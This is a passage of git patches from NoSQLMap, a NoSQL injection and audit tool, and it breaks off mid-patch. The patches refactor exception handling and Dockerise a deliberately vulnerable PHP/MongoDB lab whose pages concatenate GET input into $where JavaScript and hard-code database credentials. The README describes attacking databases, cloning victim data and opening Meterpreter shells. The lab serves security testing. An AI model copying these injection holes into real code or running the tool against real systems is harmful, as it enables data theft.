conn.close() return [2,None] - except: + except NoSQLMapException: return [3,None] else: @@ -405,7 +406,7 @@ def mongoScan(ip,port,pingIt): conn.close() return [0,dbVer] - except Exception, e: + except NoSQLMapException, e: if str(e).find('need to login') != -1: conn.close() return [1,None] @@ -414,5 +415,5 @@ def mongoScan(ip,port,pingIt): conn.close() return [2,None] - except: + except NoSQLMapException: return [3,None] diff --git a/nsmscan.py b/nsmscan.py index 06cb044..b292aad 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -3,6 +3,7 @@ # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import ipcalc import nsmmongo import nsmcouch @@ -41,7 +42,7 @@ def massScan(platform, args = None): for ip in ipcalc.Network(subnet): ipList.append(str(ip)) optCheck = False - except: + except NoSQLMapException: raw_input("Not a valid subnet. Press enter to return to main menu.") return @@ -54,7 +55,7 @@ def massScan(platform, args = None): ipList = f.readlines() loadCheck = True optCheck = False - except: + except NoSQLMapException: print "Couldn't open file." if loadOpt == "3": @@ -119,7 +120,7 @@ def massScan(platform, args = None): print "Scan results saved!" select = False - except: + except NoSQLMapException: print "Couldn't save scan results." elif saveEm in no_tag: diff --git a/nsmweb.py b/nsmweb.py index e2fcc77..0b5a8f9 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -3,6 +3,7 @@ # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import urllib import urllib2 import string @@ -106,7 +107,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): else: print "Got " + str(appRespCode) + "from the app, check your options." - except Exception,e: + except NoSQLMapException,e: print e print "Looks like the server didn't respond. Check your options." @@ -445,7 +446,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) else: print "Got " + str(appRespCode) + "from the app, check your options." - except Exception,e: + except NoSQLMapException,e: print e print "Looks like the server didn't respond. Check your options." @@ -464,7 +465,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) injIndex = int(args.injectedParameter) injOpt = str(postData.keys()[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." - except: + except NoSQLMapException: if args == None: raw_input("Something went wrong. Press enter to return to the main menu...") return @@ -909,7 +910,7 @@ def buildUri(origUri, randValue, args=None): split_uri = origUri.split("?") params = split_uri[1].split("&") - except: + except NoSQLMapException: raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") return @@ -938,7 +939,7 @@ def buildUri(origUri, randValue, args=None): for params in injOpt: print "Injecting the " + params + " parameter..." - except Exception: + except NoSQLMapException: raw_input("Something went wrong. Press enter to return to the main menu...") return From 24370604af4f863a006291541f890cf3ab08a1e1 Mon Sep 17 00:00:00 2001 From: Michael Skelton Date: Fri, 10 Apr 2020 08:27:55 +1000 Subject: [PATCH 199/207] Create stale.yml --- .github/workflows/stale.yml | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 .github/workflows/stale.yml diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml new file mode 100644 index 0000000..7bbc050 --- /dev/null +++ b/.github/workflows/stale.yml @@ -0,0 +1,19 @@ +name: Mark stale issues and pull requests + +on: + schedule: + - cron: "0 0 * * *" + +jobs: + stale: + + runs-on: ubuntu-latest + + steps: + - uses: actions/stale@v1 + with: + repo-token: ${{ secrets.GITHUB_TOKEN }} + stale-issue-message: 'Stale issue message' + stale-pr-message: 'Stale pull request message' + stale-issue-label: 'no-issue-activity' + stale-pr-label: 'no-pr-activity' From a7cba24a58ca2d239fc8d63cf4133f1c3007c3a0 Mon Sep 17 00:00:00 2001 From: Kert Ojasoo Date: Wed, 15 Apr 2020 13:24:20 +0300 Subject: [PATCH 200/207] Added exception.py to setuptools script --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index aab887a..a5c3613 100644 --- a/setup.py +++ b/setup.py @@ -6,7 +6,7 @@ name = "NoSQLMap", version = "0.7", packages = find_packages(), - scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py','nsmscan.py','nsmweb.py'], + scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py', 'nsmscan.py', 'nsmweb.py', 'exception.py'], entry_points = { "console_scripts": [ From 693b85d5a6c8b45de7d4f277365fcef3853bd52e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 8 Feb 2021 20:16:09 +0000 Subject: [PATCH 201/207] Bump httplib2 from 0.9 to 0.19.0 Bumps [httplib2](https://github.com/httplib2/httplib2) from 0.9 to 0.19.0. - [Release notes](https://github.com/httplib2/httplib2/releases) - [Changelog](https://github.com/httplib2/httplib2/blob/master/CHANGELOG) - [Commits](https://github.com/httplib2/httplib2/compare/0.9...v0.19.0) Signed-off-by: dependabot[bot] --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index a5c3613..b3503f3 100644 --- a/setup.py +++ b/setup.py @@ -14,7 +14,7 @@ ] }, - install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ + install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ "requests==2.20.0"], From a32e49c042748e9d5d27c3ab36de1512e28ee527 Mon Sep 17 00:00:00 2001 From: Harry Crawford Date: Fri, 7 Oct 2022 18:25:07 +0200 Subject: [PATCH 202/207] Dockerized the included vulnerable application to make running on the local machine easier. Also updated the README.md file to provide instructions on use. --- README.md | 57 +++++++++++++++++------- vuln_apps/acct.php | 39 ---------------- vuln_apps/cust.html | 21 --------- vuln_apps/docker-compose.yml | 27 +++++++++++ vuln_apps/docker/apache/Dockerfile | 6 +++ vuln_apps/docker/apache/apache.conf | 16 +++++++ vuln_apps/docker/mongo/Dockerfile | 5 +++ vuln_apps/docker/mongo/import.sh | 2 + vuln_apps/{ => docker/mongo}/mongo.nosql | 2 - vuln_apps/docker/php/Dockerfile | 13 ++++++ vuln_apps/orderdata.php | 51 --------------------- vuln_apps/src/acct.php | 42 +++++++++++++++++ vuln_apps/src/index.html | 17 +++++++ vuln_apps/src/orderdata.php | 49 ++++++++++++++++++++ vuln_apps/{ => src}/populate_db.php | 2 +- vuln_apps/src/userdata.php | 48 ++++++++++++++++++++ vuln_apps/userdata.php | 50 --------------------- 17 files changed, 266 insertions(+), 181 deletions(-) delete mode 100644 vuln_apps/acct.php delete mode 100644 vuln_apps/cust.html create mode 100644 vuln_apps/docker-compose.yml create mode 100644 vuln_apps/docker/apache/Dockerfile create mode 100644 vuln_apps/docker/apache/apache.conf create mode 100644 vuln_apps/docker/mongo/Dockerfile create mode 100644 vuln_apps/docker/mongo/import.sh rename vuln_apps/{ => docker/mongo}/mongo.nosql (99%) create mode 100644 vuln_apps/docker/php/Dockerfile delete mode 100644 vuln_apps/orderdata.php create mode 100644 vuln_apps/src/acct.php create mode 100644 vuln_apps/src/index.html create mode 100644 vuln_apps/src/orderdata.php rename vuln_apps/{ => src}/populate_db.php (99%) create mode 100644 vuln_apps/src/userdata.php delete mode 100644 vuln_apps/userdata.php diff --git a/README.md b/README.md index 6841632..50abb20 100644 --- a/README.md +++ b/README.md @@ -1,61 +1,73 @@ -NoSQLMap -======== -[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) +# NoSQLMap + +[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv3-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. -Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). - +Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo\_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). ## NoSQLMap MongoDB Management Attack Demo. -NoSQLMap MongoDB Management Attack Demo +NoSQLMap MongoDB Management Attack Demo ## Screenshots + ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) # Summary + ## What is NoSQL? + A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. ## DBMS Support + Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as Redis, and Cassandra are planned in future releases. -## Requirements -On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. +## Requirements + +On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. Varies based on features used: -- Metasploit Framework, -- Python with PyMongo, -- httplib2, -- and urllib available. -- A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions. -There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. +- Metasploit Framework, +- Python with PyMongo, +- httplib2, +- and urllib available. +- A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions. + +There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. ## Setup + ``` python setup.py install ``` + Alternatively you can build a Docker image by changing to the docker directory and entering: + ``` docker build -t nosqlmap . ``` or you can use Docker-compose to run Nosqlmap: + ``` docker-compose build docker-compose run nosqlmap ``` + ## Usage Instructions + Start with + ``` python NoSQLMap ``` -NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: +NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: ``` 1-Set options (do this first) @@ -66,11 +78,12 @@ x-Exit ``` Explanation of options: + ``` 1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack. 2. Set web app port-TCP port for the web application if a web application is the target. 3. Set URI Path-The portion of the URI containing the page name and any parameters but NOT the host name (e.g. /app/acct.php?acctid=102). -4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp. +4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp. 5. Set my local Mongo/Shell IP-Set this option if attacking a MongoDB instance directly to the IP of a target Mongo installation to clone victim databases to or open Meterpreter shells to. 6. Set shell listener port-If opening Meterpreter shells, specify the port. 7. Load options file-Load a previously saved set of settings for 1-6. @@ -79,4 +92,14 @@ Explanation of options: x. Back to main menu-Use this once the options are set to start your attacks. ``` -Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo_](https://twitter.com/codingo_) if you have any questions or suggestions. +Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo\_](https://twitter.com/codingo_) if you have any questions or suggestions. + +## Vulnerable Applications + +This repo also includes an intentionally vulnerable web application to test NoSQLMap with. To run this application, you need Docker installed. Then you can run the following commands from the /vuln_apps directory. + +``` +docker-compose build && docker-compose up +``` + +Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1/index.html diff --git a/vuln_apps/acct.php b/vuln_apps/acct.php deleted file mode 100644 index c03feef..0000000 --- a/vuln_apps/acct.php +++ /dev/null @@ -1,39 +0,0 @@ - - -Payment information - - -customers; - $collection = $db->paymentinfo; - $search = $_GET['acctid']; -// $criteria = array('id' => $search); -// $fields = array('name','id','cc','cvv2'); - - - $cursor = $collection->find(array('id' => $search)); - -// echo $search; - echo $cursor->count() . ' document(s) found.
'; - - foreach ($cursor as $obj) { - echo 'Name: ' . $obj['name'] . '
'; - echo 'Customer ID: ' . $obj['id'] . '
'; - echo 'Card Number: ' . $obj['cc'] . '
'; - echo 'CVV2 Code: ' . $obj['cvv2'] . '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -?> - - - - \ No newline at end of file diff --git a/vuln_apps/cust.html b/vuln_apps/cust.html deleted file mode 100644 index ed80d22..0000000 --- a/vuln_apps/cust.html +++ /dev/null @@ -1,21 +0,0 @@ - - -Customer Info - - - -

Customer Information

-

Enter your customer ID to show your account information:

- -
-Customer ID: - -
- -
- - - \ No newline at end of file diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml new file mode 100644 index 0000000..468c294 --- /dev/null +++ b/vuln_apps/docker-compose.yml @@ -0,0 +1,27 @@ +version: "3.8" +services: + apache: + container_name: apache + build: ./docker/apache + links: + - php + ports: + - "80:80" + volumes: + - ./src:/usr/local/apache2/htdocs + php: + container_name: php + build: ./docker/php + ports: + - "9000:9000" + volumes: + - ./src:/usr/local/apache2/htdocs + working_dir: /usr/local/apache2/htdocs + mongo: + container_name: mongo + environment: + MONGO_INITDB_ROOT_USERNAME: root + MONGO_INITDB_ROOT_PASSWORD: prisma + build: ./docker/mongo + ports: + - "27017:27017" diff --git a/vuln_apps/docker/apache/Dockerfile b/vuln_apps/docker/apache/Dockerfile new file mode 100644 index 0000000..9562989 --- /dev/null +++ b/vuln_apps/docker/apache/Dockerfile @@ -0,0 +1,6 @@ +FROM httpd:2.4.51 + +COPY apache.conf /usr/local/apache2/conf/apache.conf + +RUN echo "Include /usr/local/apache2/conf/apache.conf" \ + >> /usr/local/apache2/conf/httpd.conf \ No newline at end of file diff --git a/vuln_apps/docker/apache/apache.conf b/vuln_apps/docker/apache/apache.conf new file mode 100644 index 0000000..76f67dd --- /dev/null +++ b/vuln_apps/docker/apache/apache.conf @@ -0,0 +1,16 @@ +LoadModule deflate_module /usr/local/apache2/modules/mod_deflate.so +LoadModule proxy_module /usr/local/apache2/modules/mod_proxy.so +LoadModule proxy_fcgi_module /usr/local/apache2/modules/mod_proxy_fcgi.so + + + ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://php:9000/usr/local/apache2/htdocs/$1 + + DocumentRoot /usr/local/apache2/htdocs + + + Options -Indexes +FollowSymLinks + DirectoryIndex index.php + AllowOverride All + Require all granted + + \ No newline at end of file diff --git a/vuln_apps/docker/mongo/Dockerfile b/vuln_apps/docker/mongo/Dockerfile new file mode 100644 index 0000000..6920c0c --- /dev/null +++ b/vuln_apps/docker/mongo/Dockerfile @@ -0,0 +1,5 @@ +FROM mongo:latest + +ADD ./mongo.nosql /tmp/mongo.nosql +ADD ./import.sh /tmp/import.sh +RUN chmod +x /tmp/import.sh diff --git a/vuln_apps/docker/mongo/import.sh b/vuln_apps/docker/mongo/import.sh new file mode 100644 index 0000000..a845618 --- /dev/null +++ b/vuln_apps/docker/mongo/import.sh @@ -0,0 +1,2 @@ +#!/bin/bash +cat /tmp/mongo.nosql | mongosh "mongodb://root:prisma@mongo:27017" \ No newline at end of file diff --git a/vuln_apps/mongo.nosql b/vuln_apps/docker/mongo/mongo.nosql similarity index 99% rename from vuln_apps/mongo.nosql rename to vuln_apps/docker/mongo/mongo.nosql index 45bfcbc..577f0ed 100644 --- a/vuln_apps/mongo.nosql +++ b/vuln_apps/docker/mongo/mongo.nosql @@ -5,7 +5,6 @@ db.orders.insert({"id":"1","name":"Robin","item":"Music gift cards","quantity":" db.orders.insert({"id":"1001","name":"Moses","item":"Miami Heat tickets","quantity":"1000"}) db.orders.insert({"id":"66","name":"Rick","item":"Black hoodie","quantity":"1"}) db.orders.insert({"id":"0","name":"Nobody","item":"Nothing","quantity":"0"}) - use customers db.paymentinfo.insert({"name":"Adrien","id":"42","cc":"5555123456789999","cvv2":"1234"}) db.paymentinfo.insert({"name":"Justin","id":"99","cc":"5555123456780000","cvv2":"4321"}) @@ -13,7 +12,6 @@ db.paymentinfo.insert({"name":"Robin","id":"1","cc":"3333444455556666","cvv2":"2 db.paymentinfo.insert({"name":"Moses","id":"2","cc":"4444555566667777","cvv2":"3333"}) db.paymentinfo.insert({"name":"Rick","id":"3","cc":"5555666677778888","cvv2":"5678"}) db.paymentinfo.insert({"name":"Nobody","id":"0","cc":"45009876543215555","cvv2":"9999"}) - use appUserData db.users.insert({"name":"Adrien","username":"adrien","email":"adrien@sec642.org"}) db.users.insert({"name":"Justin","username":"justin","email":"justin@sec642.org"}) diff --git a/vuln_apps/docker/php/Dockerfile b/vuln_apps/docker/php/Dockerfile new file mode 100644 index 0000000..a266475 --- /dev/null +++ b/vuln_apps/docker/php/Dockerfile @@ -0,0 +1,13 @@ +FROM php:8.1-fpm + +RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini" +RUN echo "extension=mongodb.so" >> "$PHP_INI_DIR/php.ini" + +RUN apt-get update \ + && apt-get install -y libcurl4-openssl-dev pkg-config libssl-dev \ + && apt-get install -y git zip unzip \ + && pecl install mongodb \ + && php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \ + && php composer-setup.php --install-dir=/usr/local/bin --filename=composer \ + && rm composer-setup.php \ + && composer require mongodb/mongodb \ No newline at end of file diff --git a/vuln_apps/orderdata.php b/vuln_apps/orderdata.php deleted file mode 100644 index 427359f..0000000 --- a/vuln_apps/orderdata.php +++ /dev/null @@ -1,51 +0,0 @@ - - - - - -Order Lookup - - - -shop; - $collection = $db->orders; - $search = $_GET['ordersearch']; - $js = "function () { var query = '". $search . "'; return this.id == query;}"; - //print $js; - print '
'; - - $cursor = $collection->find(array('$where' => $js)); - echo $cursor->count() . ' order(s) found.
'; - - foreach ($cursor as $obj) { - echo 'Order ID: ' . $obj['id'] . '
'; - echo 'Name: ' . $obj['name'] . '
'; - echo 'Item: ' . $obj['item'] . '
'; - echo 'Quantity: ' . $obj['quantity']. '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -} -?> - - -Use the Order ID to locate your order:
-
-

Search

-
-
- -
- - diff --git a/vuln_apps/src/acct.php b/vuln_apps/src/acct.php new file mode 100644 index 0000000..21725a7 --- /dev/null +++ b/vuln_apps/src/acct.php @@ -0,0 +1,42 @@ + + + + Payment information + + + + [], + ]; + $filter = ['id' => $_GET['acctid']]; + $query = new MongoDB\Driver\Query($filter, $options); + + $cursor = $conn->executeQuery('customers.paymentinfo', $query); + $counter = 0; + + foreach ($cursor as $obj) { + $counter++; + echo 'Name: ' . $obj->name . '
'; + echo 'Customer ID: ' . $obj->id . '
'; + echo 'Card Number: ' . $obj->cc . '
'; + echo 'CVV2 Code: ' . $obj->cvv2 . '
'; + echo '
'; + } + + echo $counter . ' document(s) found.
'; + + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + ?> + + + + + \ No newline at end of file diff --git a/vuln_apps/src/index.html b/vuln_apps/src/index.html new file mode 100644 index 0000000..62996f1 --- /dev/null +++ b/vuln_apps/src/index.html @@ -0,0 +1,17 @@ + + + Customer Info + + + +

Customer Information

+

Enter your customer ID to show your account information:

+ +
+ Customer ID: + +
+ +
+ + diff --git a/vuln_apps/src/orderdata.php b/vuln_apps/src/orderdata.php new file mode 100644 index 0000000..0430cc2 --- /dev/null +++ b/vuln_apps/src/orderdata.php @@ -0,0 +1,49 @@ + + + + Order Lookup + + + shop; + $collection = $db->orders; + $search = $_GET['ordersearch']; + $js = "function () { var query = '". $search . "'; return this.id == query;}"; + //print $js; + print '
'; + + $cursor = $collection->find(array('$where' => $js)); + echo $cursor->count() . ' order(s) found.
'; + + foreach ($cursor as $obj) { + echo 'Order ID: ' . $obj['id'] . '
'; + echo 'Name: ' . $obj['name'] . '
'; + echo 'Item: ' . $obj['item'] . '
'; + echo 'Quantity: ' . $obj['quantity']. '
'; + echo '
'; + } + $conn->close(); + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + } + ?> + + + Use the Order ID to locate your order:
+
+

Search

+
+
+ +
+ + + \ No newline at end of file diff --git a/vuln_apps/populate_db.php b/vuln_apps/src/populate_db.php similarity index 99% rename from vuln_apps/populate_db.php rename to vuln_apps/src/populate_db.php index 44d2576..c058543 100644 --- a/vuln_apps/populate_db.php +++ b/vuln_apps/src/populate_db.php @@ -104,4 +104,4 @@ echo $obj["email"] . "
"; } -?> +?> \ No newline at end of file diff --git a/vuln_apps/src/userdata.php b/vuln_apps/src/userdata.php new file mode 100644 index 0000000..bf74313 --- /dev/null +++ b/vuln_apps/src/userdata.php @@ -0,0 +1,48 @@ + + + + User Profile Lookup + + + appUserData; + $collection = $db->users; + $search = $_GET['usersearch']; + $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; + print $js; + print '
'; + + $cursor = $collection->find(array('$where' => $js)); + echo $cursor->count() . ' user found.
'; + + foreach ($cursor as $obj) { + echo 'Name: ' . $obj['name'] . '
'; + echo 'Username: ' . $obj['username'] . '
'; + echo 'Email: ' . $obj['email'] . '
'; + echo '
'; + } + + $conn->close(); + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + } + ?> + + + Enter your username:
+
+

Search

+
+
+ +
+ + \ No newline at end of file diff --git a/vuln_apps/userdata.php b/vuln_apps/userdata.php deleted file mode 100644 index 0fc8165..0000000 --- a/vuln_apps/userdata.php +++ /dev/null @@ -1,50 +0,0 @@ - - - - - -User Profile Lookup - - - -appUserData; - $collection = $db->users; - $search = $_GET['usersearch']; - $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; - print $js; - print '
'; - - $cursor = $collection->find(array('$where' => $js)); - echo $cursor->count() . ' user found.
'; - - foreach ($cursor as $obj) { - echo 'Name: ' . $obj['name'] . '
'; - echo 'Username: ' . $obj['username'] . '
'; - echo 'Email: ' . $obj['email'] . '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -} -?> - - -Enter your username:
-
-

Search

-
-
- -
- - From 15aeec1e3daa4eb45d49f663dcdeca5374a8a31c Mon Sep 17 00:00:00 2001 From: Everton Vieira <54176981+gu4xin1m@users.noreply.github.com> Date: Fri, 29 Sep 2023 00:29:05 -0300 Subject: [PATCH 203/207] Update Dockerfile Fixing the dependency error. Certifi's last python 2.7 release is 2020.04.5, otherwise the docker run command will raise a error. --- docker/Dockerfile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docker/Dockerfile b/docker/Dockerfile index 511d0a8..6ff83f2 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -10,6 +10,8 @@ WORKDIR /root/NoSqlMap RUN python setup.py install +RUN python -m pip install requests 'certifi<=2020.4.5.1' + COPY entrypoint.sh /tmp/entrypoint.sh RUN chmod +x /tmp/entrypoint.sh From 7f8fab893555254f03da48f725b9189108625f23 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 9 Jun 2025 21:06:50 +0000 Subject: [PATCH 204/207] Bump requests from 2.20.0 to 2.32.4 Bumps [requests](https://github.com/psf/requests) from 2.20.0 to 2.32.4. - [Release notes](https://github.com/psf/requests/releases) - [Changelog](https://github.com/psf/requests/blob/main/HISTORY.md) - [Commits](https://github.com/psf/requests/compare/v2.20.0...v2.32.4) --- updated-dependencies: - dependency-name: requests dependency-version: 2.32.4 dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index b3503f3..bbf747d 100644 --- a/setup.py +++ b/setup.py @@ -16,7 +16,7 @@ install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ - "requests==2.20.0"], + "requests==2.32.4"], author = "tcstool", author_email = "codingo@protonmail.com", From cc4fa55f08b83716294cfe4f8f963dcbcd0e37d9 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Thu, 19 Feb 2026 12:57:12 -0800 Subject: [PATCH 205/207] Fix overeager requests update incompatible with python 2.7 Python 2.7 was very sad with dependabot's change. Fixed! Also three docker improvements: - Make development easier with docker by using the files from the current directory instead of checking out a fresh copy. This clutters the top level directory a bit, but it feels like a good tradeoff. - Have the docker app listen on port 8080 by default, as fiddling with port 80 is a bit scary - Have the docker app accept commandline parameters And, finally, a README.md improvement: - Show an example script to tickle three vulnerabilities in vuln_apps --- docker/Dockerfile => Dockerfile | 7 ++- README.md | 45 ++++++++++++++++++- .../docker-compose.yml => docker-compose.yml | 0 docker/entrypoint.sh | 2 - entrypoint.sh | 2 + setup.py | 2 +- vuln_apps/docker-compose.yml | 2 +- 7 files changed, 50 insertions(+), 10 deletions(-) rename docker/Dockerfile => Dockerfile (71%) rename docker/docker-compose.yml => docker-compose.yml (100%) delete mode 100644 docker/entrypoint.sh create mode 100644 entrypoint.sh diff --git a/docker/Dockerfile b/Dockerfile similarity index 71% rename from docker/Dockerfile rename to Dockerfile index 6ff83f2..3c46d8d 100644 --- a/docker/Dockerfile +++ b/Dockerfile @@ -4,13 +4,12 @@ RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/main' >> /etc/apk/repositori RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/community' >> /etc/apk/repositories RUN apk update && apk add mongodb git -RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap - -WORKDIR /root/NoSqlMap +WORKDIR /work +COPY . /work RUN python setup.py install -RUN python -m pip install requests 'certifi<=2020.4.5.1' +RUN python -m pip install 'requests<2.28' 'certifi<=2020.4.5.1' COPY entrypoint.sh /tmp/entrypoint.sh RUN chmod +x /tmp/entrypoint.sh diff --git a/README.md b/README.md index 50abb20..1aa3b47 100644 --- a/README.md +++ b/README.md @@ -46,7 +46,7 @@ There are some various other libraries required that a normal Python installatio python setup.py install ``` -Alternatively you can build a Docker image by changing to the docker directory and entering: +Alternatively you can build a Docker image by entering: ``` docker build -t nosqlmap . @@ -102,4 +102,45 @@ This repo also includes an intentionally vulnerable web application to test NoSQ docker-compose build && docker-compose up ``` -Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1/index.html +Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1:8080/index.html + +## Scripting + +The cli can also be scripted. Here's an example script using NoSQLMap to detect the vulnerabilities in vuln_apps: + +``` +$ echo "1. Account Lookup (acct.php)" +$ docker-compose run --remove-orphans nosqlmap \ + --attack 2 \ + --victim host.docker.internal \ + --webPort 8080 \ + --uri "/acct.php?acctid=test" \ + --httpMethod GET \ + --params 1 \ + --injectSize 4 \ + --injectFormat 2 \ + --doTimeAttack n + +$ echo "2. User Data Lookup (userdata.php) - JavaScript Injection" +$ docker-compose run --remove-orphans nosqlmap \ + --attack 2 \ + --victim host.docker.internal \ + --webPort 8080 \ + --uri "/userdata.php?usersearch=test" \ + --httpMethod GET \ + --params 1 \ + --injectSize 4 \ + --injectFormat 2 \ + --doTimeAttack n + +$ echo "3. Order Data Lookup (orderdata.php) - JavaScript Injection" +$ docker-compose run --remove-orphans nosqlmap \ + --attack 2 \ + --victim host.docker.internal \ + --webPort 8080 \ + --uri "/orderdata.php?ordersearch=test" \ + --httpMethod GET \ + --params 1 \ + --injectSize 4 \ + --injectFormat 2 \ + --doTimeAttack n diff --git a/docker/docker-compose.yml b/docker-compose.yml similarity index 100% rename from docker/docker-compose.yml rename to docker-compose.yml diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh deleted file mode 100644 index eb9b8b4..0000000 --- a/docker/entrypoint.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/ash -python nosqlmap.py diff --git a/entrypoint.sh b/entrypoint.sh new file mode 100644 index 0000000..1831ba8 --- /dev/null +++ b/entrypoint.sh @@ -0,0 +1,2 @@ +#!/bin/ash +python nosqlmap.py "$@" diff --git a/setup.py b/setup.py index bbf747d..1372457 100644 --- a/setup.py +++ b/setup.py @@ -16,7 +16,7 @@ install_requires = [ "CouchDB==1.0", 